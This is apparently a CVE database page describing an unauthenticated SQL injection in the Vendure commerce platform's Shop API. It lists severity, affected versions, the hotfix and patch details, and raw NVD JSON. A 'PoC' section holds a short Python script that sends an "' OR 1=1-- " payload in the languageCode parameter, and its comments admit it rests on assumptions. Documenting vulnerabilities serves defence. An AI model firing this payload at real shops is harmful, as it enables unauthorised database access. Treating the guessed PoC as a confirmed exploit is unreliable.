CVE-2026-40887

Description

Vendure is an open-source headless commerce platform. Starting in version 1.7.4 and prior to versions 2.3.4, 3.5.7, and 3.6.2, an unauthenticated SQL injection vulnerability exists in the Vendure Shop API. A user-controlled query string parameter is interpolated directly into a raw SQL expression without parameterization or validation, allowing an attacker to execute arbitrary SQL against the database. This affects all supported database backends (PostgreSQL, MySQL/MariaDB, SQLite). The Admin API is also affected, though exploitation there requires authentication. Versions 2.3.4, 3.5.7, and 3.6.2 contain a patch. For those who are unable to upgrade immediately, Vendure has made a hotfix available that uses `RequestContextService.getLanguageCode` to validate the `languageCode` input at the boundary. This blocks injection payloads before they can reach any query. The hotfix replaces the existing `getLanguageCode` method in `packages/core/src/service/helpers/request-context/request-context.service.ts`. Invalid values are silently dropped and the channel's default language is used instead. The patched versions additionally convert the vulnerable SQL interpolation to a parameterized query as defense in depth.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Vendure >= 1.7.4, < 2.3.4

Vendure >= 3.0.0, < 3.5.7

Vendure >= 3.6.0, < 3.6.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-40887 PoC Generator
# Target: Vendure Shop API

target_url = "http://target-vendure-shop.com/shop-api"
# Example payload based on the vulnerability description (languageCode parameter)
payload = "' OR 1=1-- "

params = {
    # Assuming the vulnerable parameter is languageCode as per the hotfix description
    "languageCode": payload
}

try:
    response = requests.get(target_url, params=params)
    if response.status_code == 200:
        print("[+] Request sent successfully. Check response for SQL injection behavior.")
        print(response.text[:200]) # Print snippet of response
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40887
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40887
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40887/
[4] VulDB https://vuldb.com/cve/CVE-2026-40887
[5] https://github.com/vendurehq/vendure/security/advisories/GHSA-9pp3-53p2-ww9v

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40887", "sourceIdentifier": "[email protected]", "published": "2026-04-21T20:17:02.397", "lastModified": "2026-04-22T21:08:48.550", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vendure is an open-source headless commerce platform. Starting in version 1.7.4 and prior to versions 2.3.4, 3.5.7, and 3.6.2, an unauthenticated SQL injection vulnerability exists in the Vendure Shop API. A user-controlled query string parameter is interpolated directly into a raw SQL expression without parameterization or validation, allowing an attacker to execute arbitrary SQL against the database. This affects all supported database backends (PostgreSQL, MySQL/MariaDB, SQLite). The Admin API is also affected, though exploitation there requires authentication. Versions 2.3.4, 3.5.7, and 3.6.2 contain a patch. For those who are unable to upgrade immediately, Vendure has made a hotfix available that uses `RequestContextService.getLanguageCode` to validate the `languageCode` input at the boundary. This blocks injection payloads before they can reach any query. The hotfix replaces the existing `getLanguageCode` method in `packages/core/src/service/helpers/request-context/request-context.service.ts`. Invalid values are silently dropped and the channel's default language is used instead. The patched versions additionally convert the vulnerable SQL interpolation to a parameterized query as defense in depth."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/vendurehq/vendure/security/advisories/GHSA-9pp3-53p2-ww9v", "source": "[email protected]"}]}}